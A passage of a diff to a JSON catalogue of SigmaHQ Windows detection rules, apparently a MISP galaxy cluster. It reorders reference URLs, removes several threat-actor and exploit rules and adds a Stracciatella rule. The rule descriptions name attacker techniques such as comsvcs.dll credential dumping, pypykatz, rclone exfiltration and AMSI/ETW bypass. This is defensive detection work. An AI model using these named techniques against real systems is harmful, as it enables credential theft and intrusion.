"https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a", "https://labs.sentinelone.com/egregor-raas-continues-the-chaos-with-cobalt-strike-and-rclone", - "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware", + "https://www.splunk.com/en_us/blog/security/darkside-ransomware-splunk-threat-update-and-detections.html", "https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/", + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_rclone_execution.yml" ], "tags": [ @@ -54775,8 +53200,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://nmap.org/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-3---port-scan-nmap-for-windows", + "https://nmap.org/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_nmap_zenmap.yml" ], "tags": [ @@ -54809,8 +53234,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows/msix/package/unsigned-package", "https://twitter.com/WindowsDocs/status/1620078135080325122", + "https://learn.microsoft.com/en-us/windows/msix/package/unsigned-package", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_install_unsigned_appx_packages.yml" ], "tags": [ @@ -54821,41 +53246,6 @@ "uuid": "37651c2a-42cd-4a69-ae0d-22a4349aa04a", "value": "Unsigned AppX Installation Attempt Using Add-AppxPackage" }, - { - "description": "Detects different process execution behaviors as described in various threat reports on Lazarus group activity", - "meta": { - "author": "Florian Roth (Nextron Systems), wagga", - "creation_date": "2020/12/23", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_apt_lazarus_group_activity.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.hvs-consulting.de/lazarus-report/", - "https://securelist.com/lazarus-covets-covid-19-related-intelligence/99906/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_lazarus_group_activity.yml" - ], - "tags": [ - "attack.g0032", - "attack.execution", - "attack.t1059" - ] - }, - "related": [ - { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "24c4d154-05a4-4b99-b57d-9b977472443a", - "value": "Lazarus Group Activity" - }, { "description": "Conti recommendation to its affiliates to use esentutl to access NTDS dumped file. Trickbot also uses this utilities to get MSEdge info via its module pwgrab.", "meta": { @@ -54869,9 +53259,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", "https://twitter.com/vxunderground/status/1423336151860002816", "https://attack.mitre.org/software/S0404/", - "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_esentutl_params.yml" ], "tags": [ @@ -55011,39 +53401,6 @@ "uuid": "771d1eb5-9587-4568-95fb-9ec44153a012", "value": "PUA - NSudo Execution" }, - { - "description": "Detects specific process characteristics of Snatch ransomware word document droppers", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2020/08/26", - "falsepositive": [ - "Scripts that shutdown the system immediately and reboot them in safe mode are unlikely" - ], - "filename": "proc_creation_win_malware_snatch_ransomware.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_snatch_ransomware.yml" - ], - "tags": [ - "attack.execution", - "attack.t1204" - ] - }, - "related": [ - { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "5325945e-f1f0-406e-97b8-65104d393fff", - "value": "Potential Snatch Ransomware Activity" - }, { "description": "Detects the suspicious execution of a utility to convert Windows 3.x .grp files or for persistence purposes by malicious software or actors", "meta": { @@ -55090,8 +53447,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/cglyer/status/1182391019633029120", "https://twitter.com/cglyer/status/1182389676876980224", + "https://twitter.com/cglyer/status/1182391019633029120", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmi_backdoor_exchange_transport_agent.yml" ], "tags": [ @@ -55235,14 +53592,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/keyboardcrunch/SentinelOne-ATTACK-Queries/blob/6a228d23eefe963ca81f2d52f94b815f61ef5ee0/Tactics/DefenseEvasion.md#t1055-process-injection", + "https://twitter.com/gN3mes1s/status/941315826107510784", + "https://github.com/SigmaHQ/sigma/issues/3742", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", "https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e", - "https://reaqta.com/2017/12/mavinject-microsoft-injector/", - "https://twitter.com/Hexacorn/status/776122138063409152", - "https://github.com/SigmaHQ/sigma/issues/3742", - "https://twitter.com/gN3mes1s/status/941315826107510784", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.004/T1056.004.md", - "https://github.com/keyboardcrunch/SentinelOne-ATTACK-Queries/blob/6a228d23eefe963ca81f2d52f94b815f61ef5ee0/Tactics/DefenseEvasion.md#t1055-process-injection", + "https://twitter.com/Hexacorn/status/776122138063409152", + "https://reaqta.com/2017/12/mavinject-microsoft-injector/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_mavinject_process_injection.yml" ], "tags": [ @@ -55317,8 +53674,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-2---registry-parse-with-pypykatz", "https://github.com/skelsec/pypykatz", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-2---registry-parse-with-pypykatz", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_pypykatz.yml" ], "tags": [ @@ -55384,9 +53741,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://support.microsoft.com/en-us/topic/how-to-control-the-rule-actions-to-start-an-application-or-run-a-macro-in-outlook-2016-and-outlook-2013-e4964b72-173c-959d-5d7b-ead562979048", "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=44", "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", - "https://support.microsoft.com/en-us/topic/how-to-control-the-rule-actions-to-start-an-application-or-run-a-macro-in-outlook-2016-and-outlook-2013-e4964b72-173c-959d-5d7b-ead562979048", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_outlook_enable_unsafe_client_mail_rules.yml" ], "tags": [ @@ -55531,8 +53888,8 @@ "logsource.product": "windows", "refs": [ "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", - "https://twitter.com/frack113/status/1555830623633375232", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN", + "https://twitter.com/frack113/status/1555830623633375232", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntfs_short_name_path_use_cli.yml" ], "tags": [ @@ -55609,37 +53966,6 @@ "uuid": "fa3c117a-bc0d-416e-a31b-0c0e80653efb", "value": "Chopper Webshell Process Pattern" }, - { - "description": "Detects TropicTrooper activity, an actor who targeted high-profile organizations in the energy and food and beverage sectors in Asia", - "meta": { - "author": "@41thexplorer, Microsoft Defender ATP", - "creation_date": "2019/11/12", - "falsepositive": "No established falsepositives", - "filename": "proc_creation_win_apt_tropictrooper.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://cloudblogs.microsoft.com/microsoftsecure/2018/11/28/windows-defender-atp-device-risk-score-exposes-new-cyberattack-drives-conditional-access-to-protect-networks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_tropictrooper.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "related": [ - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "8c7090c3-e0a0-4944-bd08-08c3a0cecf79", - "value": "TropicTrooper Campaign November 2018" - }, { "description": "Detects suspicious sub processes started by the Manage Engine ServiceDesk Plus Java web service process", "meta": { @@ -55687,40 +54013,6 @@ "uuid": "a383dec4-deec-4e6e-913b-ed9249670848", "value": "Potential Signing Bypass Via Windows Developer Features" }, - { - "description": "Detects specific process characteristics of Winnti malware noticed in Dec/Jan 2020 in a campaign against Honk Kong universities", - "meta": { - "author": "Florian Roth (Nextron Systems), Markus Neis", - "creation_date": "2020/02/01", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_apt_winnti_mal_hk_jan20.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.welivesecurity.com/2020/01/31/winnti-group-targeting-universities-hong-kong/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_winnti_mal_hk_jan20.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002", - "attack.g0044" - ] - }, - "related": [ - { - "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "3121461b-5aa0-4a41-b910-66d25524edbb", - "value": "Winnti Malware HK University Campaign" - }, { "description": "Detects a process memory dump via \"comsvcs.dll\" using rundll32, covering multiple different techniques (ordinal, minidump function, etc.)", "meta": { @@ -55735,11 +54027,11 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/shantanukhande/status/1229348874298388484", - "https://twitter.com/Wietze/status/1542107456507203586", + "https://twitter.com/pythonresponder/status/1385064506049630211?s=21", "https://twitter.com/SBousseaden/status/1167417096374050817", "https://twitter.com/Hexacorn/status/1224848930795552769", + "https://twitter.com/Wietze/status/1542107456507203586", "https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/", - "https://twitter.com/pythonresponder/status/1385064506049630211?s=21", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_process_dump_via_comsvcs.yml" ], "tags": [ @@ -55782,9 +54074,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Regasm/", - "https://www.fortiguard.com/threat-signal-report/4718?s=09", "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/", + "https://www.fortiguard.com/threat-signal-report/4718?s=09", + "https://lolbas-project.github.io/lolbas/Binaries/Regasm/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_regasm.yml" ], "tags": [ @@ -55850,8 +54142,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_user_discovery_get_aduser.yml" ], "tags": [ @@ -55885,11 +54177,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://twitter.com/christophetd/status/1164506034720952320", "https://mgreen27.github.io/posts/2019/05/29/BinaryRename2.html", - "https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/megacortex-ransomware-spotted-attacking-enterprise-networks", "https://mgreen27.github.io/posts/2019/05/12/BinaryRename.html", "https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/", - "https://twitter.com/christophetd/status/1164506034720952320", + "https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/megacortex-ransomware-spotted-attacking-enterprise-networks", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_binary_highly_relevant.yml" ], "tags": [ @@ -55990,12 +54282,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf", + "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer", "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", "https://labs.f-secure.com/blog/prelude-to-ransomware-systembc", "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/Advanced%20IP%20Scanner", "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/", - "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer", + "https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_advanced_ip_scanner.yml" ], "tags": [ @@ -56036,8 +54328,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/", "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/", + "https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_appcmd_susp_module_install.yml" ], "tags": [ @@ -56071,11 +54363,11 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/eral4m/status/1479080793003671557", - "https://twitter.com/Hexacorn/status/885258886428725250", + "https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52", "https://twitter.com/nas_bench/status/1433344116071583746", "https://twitter.com/eral4m/status/1479106975967240209", "http://www.hexacorn.com/blog/2017/05/01/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline/", - "https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52", + "https://twitter.com/Hexacorn/status/885258886428725250", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml" ], "tags": [ @@ -56108,8 +54400,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.hybrid-analysis.com/sample/f2943f5e45befa52fb12748ca7171d30096e1d4fc3c365561497c618341299d5?environmentId=100", "https://adsecurity.org/?p=2288", + "https://www.hybrid-analysis.com/sample/f2943f5e45befa52fb12748ca7171d30096e1d4fc3c365561497c618341299d5?environmentId=100", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_sysvol_access.yml" ], "tags": [ @@ -56142,8 +54434,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_export_critical_keys.yml" ], "tags": [ @@ -56176,9 +54468,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/", "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime", + "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wab_unusual_parents.yml" ], "tags": [ @@ -56356,9 +54648,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://app.any.run/tasks/c28cabc8-a19f-40f3-a78b-cae506a5c0d4", "https://app.any.run/tasks/cfc8870b-ccd7-4210-88cf-a8087476a6d0", "https://unit42.paloaltonetworks.com/unit42-sure-ill-take-new-combojack-malware-alters-clipboards-steal-cryptocurrency/", + "https://app.any.run/tasks/c28cabc8-a19f-40f3-a78b-cae506a5c0d4", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_system_susp_paths.yml" ], "tags": [ @@ -56378,58 +54670,6 @@ "uuid": "efec536f-72e8-4656-8960-5e85d091345b", "value": "Set Suspicious Files as System Files Using Attrib.EXE" }, - { - "description": "Detects NotPetya ransomware activity in which the extracted passwords are passed back to the main module via named pipe, the file system journal of drive C is deleted and windows eventlogs are cleared using wevtutil", - "meta": { - "author": "Florian Roth (Nextron Systems), Tom Ueltschi", - "creation_date": "2019/01/16", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_malware_notpetya.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://securelist.com/schroedingers-petya/78870/", - "https://www.hybrid-analysis.com/sample/64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_notpetya.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011", - "attack.t1070.001", - "attack.credential_access", - "attack.t1003.001", - "car.2016-04-002" - ] - }, - "related": [ - { - "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "79aeeb41-8156-4fac-a0cd-076495ab82a1", - "value": "NotPetya Ransomware Activity" - }, { "description": "Detects the registration of a debugger for a program that is available in the logon screen (sticky key backdoor).", "meta": { @@ -56660,40 +54900,6 @@ "uuid": "90d50722-0483-4065-8e35-57efaadd354d", "value": "Arbitrary MSI Download Via Devinit.EXE" }, - { - "description": "Detects possible successful exploitation for vulnerability described in CVE-2021-26857 by looking for | abnormal subprocesses spawning by Exchange Server's Unified Messaging service", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2021/03/03", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_exploit_cve_2021_26857_msexchange.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2021_26857_msexchange.yml" - ], - "tags": [ - "attack.t1203", - "attack.execution", - "cve.2021.26857" - ] - }, - "related": [ - { - "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "cd479ccc-d8f0-4c66-ba7d-e06286f3f887", - "value": "Potential CVE-2021-26857 Exploitation Attempt" - }, { "description": "Detects manual execution of the \"Microsoft Compatibility Appraiser\" task via schtasks.\nIn order to trigger persistence stored in the \"\\AppCompatFlags\\TelemetryController\" registry key.\n", "meta": { @@ -56727,40 +54933,6 @@ "uuid": "f548a603-c9f2-4c89-b511-b089f7e94549", "value": "Potential Persistence Via Microsoft Compatibility Appraiser" }, - { - "description": "Detects a explorer.exe sub process of the RazerInstaller software which can be invoked from the installer to select a different installation folder but can also be exploited to escalate privileges to LOCAL SYSTEM", - "meta": { - "author": "Florian Roth (Nextron Systems), Maxime Thiebaut", - "creation_date": "2021/08/23", - "falsepositive": [ - "User selecting a different installation folder (check for other sub processes of this explorer.exe process)" - ], - "filename": "proc_creation_win_exploit_other_razorinstaller_lpe.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/j0nh4t/status/1429049506021138437", - "https://streamable.com/q2dsji", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_other_razorinstaller_lpe.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1553" - ] - }, - "related": [ - { - "dest-uuid": "b83e166d-13d7-4b52-8677-dff90c548fd7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "a4eaf250-7dc1-4842-862a-5e71cd59a167", - "value": "Suspicious RazerInstaller Explorer Subprocess" - }, { "description": "Detects child processes of Microsoft.NodejsTools.PressAnyKey.exe that can be used to execute any other binary", "meta": { @@ -56774,8 +54946,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/mrd0x/status/1463526834918854661", "https://gist.github.com/nasbench/a989ce64cefa8081bd50cf6ad8c491b5", + "https://twitter.com/mrd0x/status/1463526834918854661", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pressanykey_lolbin_execution.yml" ], "tags": [ @@ -56810,10 +54982,10 @@ "logsource.product": "windows", "refs": [ "https://www.securitynewspaper.com/2016/11/23/technical-teardown-exploit-malware-hwp-files/", - "https://twitter.com/cyberwar_15/status/1187287262054076416", - "https://blog.alyac.co.kr/1901", "https://www.hybrid-analysis.com/search?query=context:74940dcc5b38f9f9b1a0fea760d344735d7d91b610e6d5bd34533dd0153402c5&from_sample=5db135000388385a7644131f&block_redirect=1", + "https://blog.alyac.co.kr/1901", "https://en.wikipedia.org/wiki/Hangul_(word_processor)", + "https://twitter.com/cyberwar_15/status/1187287262054076416", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hwp_exploits.yml" ], "tags": [ @@ -57019,42 +55191,6 @@ "uuid": "242301bc-f92f-4476-8718-78004a6efd9f", "value": "DLL Loaded via CertOC.EXE" }, - { - "description": "Detects potential exploitation attempts of CVE-2021-41379 (InstallerFileTakeOver), a local privilege escalation (LPE) vulnerability where the attacker spawns a \"cmd.exe\" process as a child of Microsoft Edge elevation service \"elevation_service\" with \"LOCAL_SYSTEM\" rights", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/11/22", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_exploit_cve_2021_41379.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.logpoint.com/en/blog/detecting-privilege-escalation-zero-day-cve-2021-41379/", - "https://www.bleepingcomputer.com/news/microsoft/new-windows-zero-day-with-public-exploit-lets-you-become-an-admin/", - "https://www.zerodayinitiative.com/advisories/ZDI-21-1308/", - "https://web.archive.org/web/20220421061949/https://github.com/klinix5/InstallerFileTakeOver", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2021_41379.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1068" - ] - }, - "related": [ - { - "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "af8bbce4-f751-46b4-8d91-82a33a736f61", - "value": "Potential CVE-2021-41379 Exploitation Attempt" - }, { "description": "Detects usage of \"cdb.exe\" to launch 64-bit shellcode or arbitrary processes or commands from a debugger script file", "meta": { @@ -57068,9 +55204,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://twitter.com/nas_bench/status/1534957360032120833", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Cdb/", "https://web.archive.org/web/20170715043507/http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html", - "https://twitter.com/nas_bench/status/1534957360032120833", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cdb.yml" ], "tags": [ @@ -57120,8 +55256,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/HiwinCN/HTran", "https://github.com/cw1997/NATBypass", + "https://github.com/HiwinCN/HTran", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_htran_or_natbypass.yml" ], "tags": [ @@ -57156,8 +55292,8 @@ "logsource.product": "windows", "refs": [ "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", - "https://www.nirsoft.net/utils/nircmd2.html#using", "https://www.nirsoft.net/utils/nircmd.html", + "https://www.nirsoft.net/utils/nircmd2.html#using", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_nircmd.yml" ], "tags": [ @@ -57377,41 +55513,6 @@ "uuid": "f64e5c19-879c-4bae-b471-6d84c8339677", "value": "Webshell Recon Detection Via CommandLine & Processes" }, - { - "description": "Detects potential suspicious child processes of \"3CXDesktopApp.exe\". Which could be related to the 3CXDesktopApp supply chain compromise", - "meta": { - "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/03/29", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_malware_3cx_compromise_susp_children.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/", - "https://www.crowdstrike.com/blog/crowdstrike-detects-and-prevents-active-intrusion-campaign-targeting-3cxdesktopapp-customers/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_3cx_compromise_susp_children.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.execution", - "attack.t1218" - ] - }, - "related": [ - { - "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "63f3605b-979f-48c2-b7cc-7f90523fed88", - "value": "Potential Suspicious Child Process Of 3CXDesktopApp" - }, { "description": "Execute VBscript code that is referenced within the *.bgi file.", "meta": { @@ -57509,8 +55610,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/erase", "https://www.joesandbox.com/analysis/509330/0/html#1044F3BDBE3BB6F734E357235F4D5898582D", + "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/erase", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_del_greedy_deletion.yml" ], "tags": [ @@ -57543,9 +55644,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.vmray.com/cyber-security-blog/analyzing-ursnif-behavior-malware-sandbox/", - "https://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html", "https://thedfirreport.com/2023/01/09/unwrapping-ursnifs-gifts/", + "https://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html", + "https://www.vmray.com/cyber-security-blog/analyzing-ursnif-behavior-malware-sandbox/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_driverquery_recon.yml" ], "tags": [ @@ -57633,6 +55734,48 @@ "uuid": "80fc36aa-945e-4181-89f2-2f907ab6775d", "value": "UAC Bypass Using IEInstal - Process" }, + { + "description": "Detects Stracciatella which executes a Powershell runspace from within C# (aka SharpPick technique) with AMSI, ETW and Script Block Logging disabled based on PE metadata characteristics.", + "meta": { + "author": "pH-T (Nextron Systems)", + "creation_date": "2023/04/17", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_hktl_stracciatella_execution.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/mgeeky/Stracciatella", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_stracciatella_execution.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1059", + "attack.t1562.001" + ] + }, + "related": [ + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "7a4d9232-92fc-404d-8ce1-4c92e7caf539", + "value": "HackTool - 